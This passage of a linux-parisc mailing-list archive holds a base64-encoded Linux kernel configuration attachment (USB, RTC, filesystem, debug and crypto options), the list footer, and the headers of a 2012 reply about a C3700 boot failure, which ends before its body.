WSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9MRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9UUkFO
Q0VWSUJSQVRPUiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JT1dBUlJJT1IgaXMgbm90IHNldAoj
IENPTkZJR19VU0JfVEVTVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JU0lHSFRGVyBpcyBub3Qg
c2V0CiMgQ09ORklHX1VTQl9ZVVJFWCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9HQURHRVQgaXMg
bm90IHNldAoKIwojIE9URyBhbmQgcmVsYXRlZCBpbmZyYXN0cnVjdHVyZQojCiMgQ09ORklHX05P
UF9VU0JfWENFSVYgaXMgbm90IHNldAojIENPTkZJR19VV0IgaXMgbm90IHNldAojIENPTkZJR19N
TUMgaXMgbm90IHNldAojIENPTkZJR19NRU1TVElDSyBpcyBub3Qgc2V0CiMgQ09ORklHX05FV19M
RURTIGlzIG5vdCBzZXQKIyBDT05GSUdfQUNDRVNTSUJJTElUWSBpcyBub3Qgc2V0CiMgQ09ORklH
X0lORklOSUJBTkQgaXMgbm90IHNldApDT05GSUdfUlRDX0xJQj15CkNPTkZJR19SVENfQ0xBU1M9
eQpDT05GSUdfUlRDX0hDVE9TWVM9eQpDT05GSUdfUlRDX0hDVE9TWVNfREVWSUNFPSJydGMwIgoj
IENPTkZJR19SVENfREVCVUcgaXMgbm90IHNldAoKIwojIFJUQyBpbnRlcmZhY2VzCiMKQ09ORklH
X1JUQ19JTlRGX1NZU0ZTPXkKQ09ORklHX1JUQ19JTlRGX1BST0M9eQpDT05GSUdfUlRDX0lOVEZf
REVWPXkKIyBDT05GSUdfUlRDX0lOVEZfREVWX1VJRV9FTVVMIGlzIG5vdCBzZXQKIyBDT05GSUdf
UlRDX0RSVl9URVNUIGlzIG5vdCBzZXQKCiMKIyBTUEkgUlRDIGRyaXZlcnMKIwoKIwojIFBsYXRm
b3JtIFJUQyBkcml2ZXJzCiMKIyBDT05GSUdfUlRDX0RSVl9EUzEyODYgaXMgbm90IHNldAojIENP
TkZJR19SVENfRFJWX0RTMTUxMSBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfRFMxNTUzIGlz
IG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9EUzE3NDIgaXMgbm90IHNldAojIENPTkZJR19SVENf
RFJWX1NUSzE3VEE4IGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9NNDhUODYgaXMgbm90IHNl
dAojIENPTkZJR19SVENfRFJWX000OFQzNSBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfTTQ4
VDU5IGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9NU002MjQyIGlzIG5vdCBzZXQKIyBDT05G
SUdfUlRDX0RSVl9CUTQ4MDIgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX1JQNUMwMSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfVjMwMjAgaXMgbm90IHNldAoKIwojIG9uLUNQVSBSVEMg
ZHJpdmVycwojCkNPTkZJR19SVENfRFJWX0dFTkVSSUM9eQojIENPTkZJR19ETUFERVZJQ0VTIGlz
IG5vdCBzZXQKIyBDT05GSUdfQVVYRElTUExBWSBpcyBub3Qgc2V0CiMgQ09ORklHX1VJTyBpcyBu
b3Qgc2V0CgojCiMgVmlydGlvIGRyaXZlcnMKIwojIENPTkZJR19WSVJUSU9fUENJIGlzIG5vdCBz
ZXQKIyBDT05GSUdfVklSVElPX0JBTExPT04gaXMgbm90IHNldAojIENPTkZJR19WSVJUSU9fTU1J
TyBpcyBub3Qgc2V0CgojCiMgTWljcm9zb2Z0IEh5cGVyLVYgZ3Vlc3Qgc3VwcG9ydAojCiMgQ09O
RklHX1NUQUdJTkcgaXMgbm90IHNldAoKIwojIEhhcmR3YXJlIFNwaW5sb2NrIGRyaXZlcnMKIwpD
T05GSUdfSU9NTVVfU1VQUE9SVD15CiMgQ09ORklHX1ZJUlRfRFJJVkVSUyBpcyBub3Qgc2V0CiMg
Q09ORklHX1BNX0RFVkZSRVEgaXMgbm90IHNldAoKIwojIEZpbGUgc3lzdGVtcwojCkNPTkZJR19F
WFQyX0ZTPXkKIyBDT05GSUdfRVhUMl9GU19YQVRUUiBpcyBub3Qgc2V0CiMgQ09ORklHX0VYVDJf
RlNfWElQIGlzIG5vdCBzZXQKQ09ORklHX0VYVDNfRlM9eQpDT05GSUdfRVhUM19ERUZBVUxUU19U
T19PUkRFUkVEPXkKIyBDT05GSUdfRVhUM19GU19YQVRUUiBpcyBub3Qgc2V0CiMgQ09ORklHX0VY
VDRfRlMgaXMgbm90IHNldApDT05GSUdfSkJEPXkKIyBDT05GSUdfSkJEX0RFQlVHIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUkVJU0VSRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19KRlNfRlMgaXMgbm90
IHNldApDT05GSUdfWEZTX0ZTPW0KIyBDT05GSUdfWEZTX1FVT1RBIGlzIG5vdCBzZXQKIyBDT05G
SUdfWEZTX1BPU0lYX0FDTCBpcyBub3Qgc2V0CiMgQ09ORklHX1hGU19SVCBpcyBub3Qgc2V0CiMg
Q09ORklHX1hGU19ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX0dGUzJfRlMgaXMgbm90IHNldAoj
IENPTkZJR19CVFJGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX05JTEZTMl9GUyBpcyBub3Qgc2V0
CiMgQ09ORklHX0ZTX1BPU0lYX0FDTCBpcyBub3Qgc2V0CkNPTkZJR19FWFBPUlRGUz15CkNPTkZJ
R19GSUxFX0xPQ0tJTkc9eQpDT05GSUdfRlNOT1RJRlk9eQpDT05GSUdfRE5PVElGWT15CkNPTkZJ
R19JTk9USUZZX1VTRVI9eQojIENPTkZJR19GQU5PVElGWSBpcyBub3Qgc2V0CiMgQ09ORklHX1FV
T1RBIGlzIG5vdCBzZXQKIyBDT05GSUdfUVVPVEFDVEwgaXMgbm90IHNldApDT05GSUdfQVVUT0ZT
NF9GUz15CiMgQ09ORklHX0ZVU0VfRlMgaXMgbm90IHNldAoKIwojIENhY2hlcwojCiMgQ09ORklH
X0ZTQ0FDSEUgaXMgbm90IHNldAoKIwojIENELVJPTS9EVkQgRmlsZXN5c3RlbXMKIwpDT05GSUdf
SVNPOTY2MF9GUz15CkNPTkZJR19KT0xJRVQ9eQojIENPTkZJR19aSVNPRlMgaXMgbm90IHNldAoj
IENPTkZJR19VREZfRlMgaXMgbm90IHNldAoKIwojIERPUy9GQVQvTlQgRmlsZXN5c3RlbXMKIwpD
T05GSUdfRkFUX0ZTPW0KQ09ORklHX01TRE9TX0ZTPW0KQ09ORklHX1ZGQVRfRlM9bQpDT05GSUdf
RkFUX0RFRkFVTFRfQ09ERVBBR0U9NDM3CkNPTkZJR19GQVRfREVGQVVMVF9JT0NIQVJTRVQ9Imlz
bzg4NTktMSIKIyBDT05GSUdfTlRGU19GUyBpcyBub3Qgc2V0CgojCiMgUHNldWRvIGZpbGVzeXN0
ZW1zCiMKQ09ORklHX1BST0NfRlM9eQpDT05GSUdfUFJPQ19LQ09SRT15CkNPTkZJR19QUk9DX1NZ
U0NUTD15CkNPTkZJR19QUk9DX1BBR0VfTU9OSVRPUj15CkNPTkZJR19TWVNGUz15CkNPTkZJR19U
TVBGUz15CiMgQ09ORklHX1RNUEZTX1BPU0lYX0FDTCBpcyBub3Qgc2V0CiMgQ09ORklHX1RNUEZT
X1hBVFRSIGlzIG5vdCBzZXQKIyBDT05GSUdfSFVHRVRMQl9QQUdFIGlzIG5vdCBzZXQKIyBDT05G
SUdfQ09ORklHRlNfRlMgaXMgbm90IHNldApDT05GSUdfTUlTQ19GSUxFU1lTVEVNUz15CiMgQ09O
RklHX0FERlNfRlMgaXMgbm90IHNldAojIENPTkZJR19BRkZTX0ZTIGlzIG5vdCBzZXQKIyBDT05G
SUdfSEZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfSEZTUExVU19GUyBpcyBub3Qgc2V0CiMgQ09O
RklHX0JFRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19CRlNfRlMgaXMgbm90IHNldAojIENPTkZJ
R19FRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19MT0dGUyBpcyBub3Qgc2V0CiMgQ09ORklHX0NS
QU1GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NRVUFTSEZTIGlzIG5vdCBzZXQKIyBDT05GSUdfVlhG
U19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX01JTklYX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfT01G
U19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0hQRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19RTlg0
RlNfRlMgaXMgbm90IHNldAojIENPTkZJR19ST01GU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1BT
VE9SRSBpcyBub3Qgc2V0CiMgQ09ORklHX1NZU1ZfRlMgaXMgbm90IHNldAojIENPTkZJR19VRlNf
RlMgaXMgbm90IHNldApDT05GSUdfTkVUV09SS19GSUxFU1lTVEVNUz15CkNPTkZJR19ORlNfRlM9
eQpDT05GSUdfTkZTX1YzPXkKIyBDT05GSUdfTkZTX1YzX0FDTCBpcyBub3Qgc2V0CiMgQ09ORklH
X05GU19WNCBpcyBub3Qgc2V0CkNPTkZJR19ST09UX05GUz15CkNPTkZJR19ORlNEPXkKQ09ORklH
X05GU0RfVjM9eQojIENPTkZJR19ORlNEX1YzX0FDTCBpcyBub3Qgc2V0CiMgQ09ORklHX05GU0Rf
VjQgaXMgbm90IHNldApDT05GSUdfTE9DS0Q9eQpDT05GSUdfTE9DS0RfVjQ9eQpDT05GSUdfTkZT
X0NPTU1PTj15CkNPTkZJR19TVU5SUEM9eQojIENPTkZJR19DRVBIX0ZTIGlzIG5vdCBzZXQKIyBD
T05GSUdfQ0lGUyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUF9GUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0NPREFfRlMgaXMgbm90IHNldAojIENPTkZJR19BRlNfRlMgaXMgbm90IHNldApDT05GSUdfTkxT
PXkKQ09ORklHX05MU19ERUZBVUxUPSJpc284ODU5LTEiCkNPTkZJR19OTFNfQ09ERVBBR0VfNDM3
PW0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzczNyBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RF
UEFHRV83NzUgaXMgbm90IHNldApDT05GSUdfTkxTX0NPREVQQUdFXzg1MD1tCiMgQ09ORklHX05M
U19DT0RFUEFHRV84NTIgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODU1IGlzIG5v
dCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg1NyBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19D
T0RFUEFHRV84NjAgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODYxIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2MiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RF
UEFHRV84NjMgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODY0IGlzIG5vdCBzZXQK
IyBDT05GSUdfTkxTX0NPREVQQUdFXzg2NSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFH
RV84NjYgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODY5IGlzIG5vdCBzZXQKIyBD
T05GSUdfTkxTX0NPREVQQUdFXzkzNiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV85
NTAgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfOTMyIGlzIG5vdCBzZXQKIyBDT05G
SUdfTkxTX0NPREVQQUdFXzk0OSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NzQg
aXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV84IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxT
X0NPREVQQUdFXzEyNTAgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfMTI1MSBpcyBu
b3Qgc2V0CkNPTkZJR19OTFNfQVNDSUk9bQpDT05GSUdfTkxTX0lTTzg4NTlfMT1tCiMgQ09ORklH
X05MU19JU084ODU5XzIgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV8zIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfNCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5
XzUgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV82IGlzIG5vdCBzZXQKIyBDT05GSUdf
TkxTX0lTTzg4NTlfNyBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzkgaXMgbm90IHNl
dAojIENPTkZJR19OTFNfSVNPODg1OV8xMyBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5
XzE0IGlzIG5vdCBzZXQKQ09ORklHX05MU19JU084ODU5XzE1PW0KIyBDT05GSUdfTkxTX0tPSThf
UiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19LT0k4X1UgaXMgbm90IHNldApDT05GSUdfTkxTX1VU
Rjg9bQoKIwojIEtlcm5lbCBoYWNraW5nCiMKIyBDT05GSUdfUFJJTlRLX1RJTUUgaXMgbm90IHNl
dApDT05GSUdfREVGQVVMVF9NRVNTQUdFX0xPR0xFVkVMPTQKQ09ORklHX0VOQUJMRV9XQVJOX0RF
UFJFQ0FURUQ9eQpDT05GSUdfRU5BQkxFX01VU1RfQ0hFQ0s9eQpDT05GSUdfRlJBTUVfV0FSTj0x
MDI0CkNPTkZJR19NQUdJQ19TWVNSUT15CiMgQ09ORklHX1NUUklQX0FTTV9TWU1TIGlzIG5vdCBz
ZXQKIyBDT05GSUdfVU5VU0VEX1NZTUJPTFMgaXMgbm90IHNldApDT05GSUdfREVCVUdfRlM9eQpD
T05GSUdfSEVBREVSU19DSEVDSz15CiMgQ09ORklHX0RFQlVHX1NFQ1RJT05fTUlTTUFUQ0ggaXMg
bm90IHNldApDT05GSUdfREVCVUdfS0VSTkVMPXkKIyBDT05GSUdfREVCVUdfU0hJUlEgaXMgbm90
IHNldAojIENPTkZJR19MT0NLVVBfREVURUNUT1IgaXMgbm90IHNldAojIENPTkZJR19IQVJETE9D
S1VQX0RFVEVDVE9SIGlzIG5vdCBzZXQKIyBDT05GSUdfREVURUNUX0hVTkdfVEFTSyBpcyBub3Qg
c2V0CkNPTkZJR19TQ0hFRF9ERUJVRz15CiMgQ09ORklHX1NDSEVEU1RBVFMgaXMgbm90IHNldAoj
IENPTkZJR19USU1FUl9TVEFUUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX09CSkVDVFMgaXMg
bm90IHNldAojIENPTkZJR19ERUJVR19TTEFCIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfUlRf
TVVURVhFUyBpcyBub3Qgc2V0CiMgQ09ORklHX1JUX01VVEVYX1RFU1RFUiBpcyBub3Qgc2V0CiMg
Q09ORklHX0RFQlVHX1NQSU5MT0NLIGlzIG5vdCBzZXQKQ09ORklHX0RFQlVHX01VVEVYRVM9eQoj
IENPTkZJR19TUEFSU0VfUkNVX1BPSU5URVIgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19BVE9N
SUNfU0xFRVAgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19MT0NLSU5HX0FQSV9TRUxGVEVTVFMg
aXMgbm90IHNldAojIENPTkZJR19ERUJVR19TVEFDS19VU0FHRSBpcyBub3Qgc2V0CiMgQ09ORklH
X0RFQlVHX0tPQkpFQ1QgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19CVUdWRVJCT1NFIGlzIG5v
dCBzZXQKIyBDT05GSUdfREVCVUdfSU5GTyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1ZNIGlz
IG5vdCBzZXQKIyBDT05GSUdfREVCVUdfV1JJVEVDT1VOVCBpcyBub3Qgc2V0CiMgQ09ORklHX0RF
QlVHX01FTU9SWV9JTklUIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfTElTVCBpcyBub3Qgc2V0
CiMgQ09ORklHX1RFU1RfTElTVF9TT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfU0cgaXMg
bm90IHNldAojIENPTkZJR19ERUJVR19OT1RJRklFUlMgaXMgbm90IHNldAojIENPTkZJR19ERUJV
R19DUkVERU5USUFMUyBpcyBub3Qgc2V0CiMgQ09ORklHX0JPT1RfUFJJTlRLX0RFTEFZIGlzIG5v
dCBzZXQKIyBDT05GSUdfUkNVX1RPUlRVUkVfVEVTVCBpcyBub3Qgc2V0CiMgQ09ORklHX0JBQ0tU
UkFDRV9TRUxGX1RFU1QgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19CTE9DS19FWFRfREVWVCBp
cyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX0ZPUkNFX1dFQUtfUEVSX0NQVSBpcyBub3Qgc2V0CiMg
Q09ORklHX0xLRFRNIGlzIG5vdCBzZXQKIyBDT05GSUdfRkFVTFRfSU5KRUNUSU9OIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTEFURU5DWVRPUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NZU0NUTF9TWVNDQUxM
X0NIRUNLIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfUEFHRUFMTE9DIGlzIG5vdCBzZXQKQ09O
RklHX1JJTkdfQlVGRkVSPXkKQ09ORklHX1JJTkdfQlVGRkVSX0FMTE9XX1NXQVA9eQojIENPTkZJ
R19CVUlMRF9ET0NTUkMgaXMgbm90IHNldAojIENPTkZJR19EWU5BTUlDX0RFQlVHIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQVRPTUlDNjRfU0VMRlRFU1QgaXMgbm90IHNldAojIENPTkZJR19TQU1QTEVT
IGlzIG5vdCBzZXQKIyBDT05GSUdfVEVTVF9LU1RSVE9YIGlzIG5vdCBzZXQKQ09ORklHX0RFQlVH
X1JPREFUQT15CiMgQ09ORklHX0RFQlVHX1NUUklDVF9VU0VSX0NPUFlfQ0hFQ0tTIGlzIG5vdCBz
ZXQKCiMKIyBTZWN1cml0eSBvcHRpb25zCiMKIyBDT05GSUdfS0VZUyBpcyBub3Qgc2V0CiMgQ09O
RklHX1NFQ1VSSVRZX0RNRVNHX1JFU1RSSUNUIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VDVVJJVFkg
aXMgbm90IHNldAojIENPTkZJR19TRUNVUklUWUZTIGlzIG5vdCBzZXQKQ09ORklHX0RFRkFVTFRf
U0VDVVJJVFlfREFDPXkKQ09ORklHX0RFRkFVTFRfU0VDVVJJVFk9IiIKQ09ORklHX0NSWVBUTz15
CgojCiMgQ3J5cHRvIGNvcmUgb3IgaGVscGVyCiMKQ09ORklHX0NSWVBUT19BTEdBUEk9bQpDT05G
SUdfQ1JZUFRPX0FMR0FQSTI9bQpDT05GSUdfQ1JZUFRPX0FFQUQyPW0KQ09ORklHX0NSWVBUT19C
TEtDSVBIRVI9bQpDT05GSUdfQ1JZUFRPX0JMS0NJUEhFUjI9bQpDT05GSUdfQ1JZUFRPX0hBU0g9
bQpDT05GSUdfQ1JZUFRPX0hBU0gyPW0KQ09ORklHX0NSWVBUT19STkcyPW0KQ09ORklHX0NSWVBU
T19QQ09NUDI9bQpDT05GSUdfQ1JZUFRPX01BTkFHRVI9bQpDT05GSUdfQ1JZUFRPX01BTkFHRVIy
PW0KIyBDT05GSUdfQ1JZUFRPX1VTRVIgaXMgbm90IHNldApDT05GSUdfQ1JZUFRPX01BTkFHRVJf
RElTQUJMRV9URVNUUz15CiMgQ09ORklHX0NSWVBUT19HRjEyOE1VTCBpcyBub3Qgc2V0CkNPTkZJ
R19DUllQVE9fTlVMTD1tCkNPTkZJR19DUllQVE9fV09SS1FVRVVFPW0KIyBDT05GSUdfQ1JZUFRP
X0NSWVBURCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19BVVRIRU5DIGlzIG5vdCBzZXQKQ09O
RklHX0NSWVBUT19URVNUPW0KCiMKIyBBdXRoZW50aWNhdGVkIEVuY3J5cHRpb24gd2l0aCBBc3Nv
Y2lhdGVkIERhdGEKIwojIENPTkZJR19DUllQVE9fQ0NNIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZ
UFRPX0dDTSBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19TRVFJViBpcyBub3Qgc2V0CgojCiMg
QmxvY2sgbW9kZXMKIwpDT05GSUdfQ1JZUFRPX0NCQz1tCiMgQ09ORklHX0NSWVBUT19DVFIgaXMg
bm90IHNldAojIENPTkZJR19DUllQVE9fQ1RTIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0VD
QiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19MUlcgaXMgbm90IHNldAojIENPTkZJR19DUllQ
VE9fUENCQyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19YVFMgaXMgbm90IHNldAoKIwojIEhh
c2ggbW9kZXMKIwojIENPTkZJR19DUllQVE9fSE1BQyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBU
T19YQ0JDIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1ZNQUMgaXMgbm90IHNldAoKIwojIERp
Z2VzdAojCkNPTkZJR19DUllQVE9fQ1JDMzJDPW0KIyBDT05GSUdfQ1JZUFRPX0dIQVNIIGlzIG5v
dCBzZXQKIyBDT05GSUdfQ1JZUFRPX01ENCBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fTUQ1PW0K
IyBDT05GSUdfQ1JZUFRPX01JQ0hBRUxfTUlDIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1JN
RDEyOCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19STUQxNjAgaXMgbm90IHNldAojIENPTkZJ
R19DUllQVE9fUk1EMjU2IGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1JNRDMyMCBpcyBub3Qg
c2V0CiMgQ09ORklHX0NSWVBUT19TSEExIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1NIQTI1
NiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19TSEE1MTIgaXMgbm90IHNldAojIENPTkZJR19D
UllQVE9fVEdSMTkyIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1dQNTEyIGlzIG5vdCBzZXQK
CiMKIyBDaXBoZXJzCiMKIyBDT05GSUdfQ1JZUFRPX0FFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0NS
WVBUT19BTlVCSVMgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fQVJDNCBpcyBub3Qgc2V0CkNP
TkZJR19DUllQVE9fQkxPV0ZJU0g9bQpDT05GSUdfQ1JZUFRPX0JMT1dGSVNIX0NPTU1PTj1tCiMg
Q09ORklHX0NSWVBUT19DQU1FTExJQSBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19DQVNUNSBp
cyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19DQVNUNiBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9f
REVTPW0KIyBDT05GSUdfQ1JZUFRPX0ZDUllQVCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19L
SEFaQUQgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fU0FMU0EyMCBpcyBub3Qgc2V0CiMgQ09O
RklHX0NSWVBUT19TRUVEIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1NFUlBFTlQgaXMgbm90
IHNldAojIENPTkZJR19DUllQVE9fVEVBIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1RXT0ZJ
U0ggaXMgbm90IHNldAoKIwojIENvbXByZXNzaW9uCiMKQ09ORklHX0NSWVBUT19ERUZMQVRFPW0K
IyBDT05GSUdfQ1JZUFRPX1pMSUIgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fTFpPIGlzIG5v
dCBzZXQKCiMKIyBSYW5kb20gTnVtYmVyIEdlbmVyYXRpb24KIwojIENPTkZJR19DUllQVE9fQU5T
SV9DUFJORyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19VU0VSX0FQSV9IQVNIIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQ1JZUFRPX1VTRVJfQVBJX1NLQ0lQSEVSIGlzIG5vdCBzZXQKIyBDT05GSUdf
Q1JZUFRPX0hXIGlzIG5vdCBzZXQKIyBDT05GSUdfQklOQVJZX1BSSU5URiBpcyBub3Qgc2V0Cgoj
CiMgTGlicmFyeSByb3V0aW5lcwojCkNPTkZJR19CSVRSRVZFUlNFPXkKQ09ORklHX0dFTkVSSUNf
UENJX0lPTUFQPXkKQ09ORklHX0NSQ19DQ0lUVD1tCiMgQ09ORklHX0NSQzE2IGlzIG5vdCBzZXQK
Q09ORklHX0NSQ19UMTBESUY9bQojIENPTkZJR19DUkNfSVRVX1QgaXMgbm90IHNldApDT05GSUdf
Q1JDMzI9eQojIENPTkZJR19DUkM3IGlzIG5vdCBzZXQKQ09ORklHX0xJQkNSQzMyQz1tCiMgQ09O
RklHX0NSQzggaXMgbm90IHNldApDT05GSUdfWkxJQl9JTkZMQVRFPW0KQ09ORklHX1pMSUJfREVG
TEFURT1tCiMgQ09ORklHX1haX0RFQyBpcyBub3Qgc2V0CiMgQ09ORklHX1haX0RFQ19CQ0ogaXMg
bm90IHNldApDT05GSUdfSEFTX0lPTUVNPXkKQ09ORklHX0hBU19JT1BPUlQ9eQpDT05GSUdfSEFT
X0RNQT15CkNPTkZJR19EUUw9eQpDT05GSUdfTkxBVFRSPXkKQ09ORklHX0dFTkVSSUNfQVRPTUlD
NjQ9eQojIENPTkZJR19BVkVSQUdFIGlzIG5vdCBzZXQKIyBDT05GSUdfQ09SRElDIGlzIG5vdCBz
ZXQK
--f46d04182626291f2d04b7984c05--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: c3700 boot failure (protection ID trap)
Date: Sat, 28 Jan 2012 17:56:25 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <3542913.WWkx2jpWZr@donald.sf-tec.de>
References: <CAErSpo7ko3Tdkf9Y4jiKCQTgCpcooWnHKJtqXDVpJje3nEXgdw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart7677163.56nYFJlx8z"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1327772448 18955 80.91.229.3 (28 Jan 2012 17:40:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2012 17:40:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 28 18:40:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RrCFm-0000o9-RY
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 Jan 2012 18:39:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751832Ab2A1Q4q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jan 2012 11:56:46 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:42931 "EHLO www.sf-tec.de"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751477Ab2A1Q4p (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jan 2012 11:56:45 -0500
Original-Received: (qmail 24362 invoked from network); 28 Jan 2012 16:56:42 -0000
Original-Received: from dslb-092-076-191-022.pools.arcor-ip.net ([::ffff:92.76.191.22] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by www.sf-tec.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <bhelgaas@google.com>; Sat, 28 Jan 2012 17:56:42 +0100
User-Agent: KMail/4.8.0 (Linux/3.1.0-1.2-desktop; KDE/4.8.0; i686; ; )
In-Reply-To: <CAErSpo7ko3Tdkf9Y4jiKCQTgCpcooWnHKJtqXDVpJje3nEXgdw@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4114
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4114>


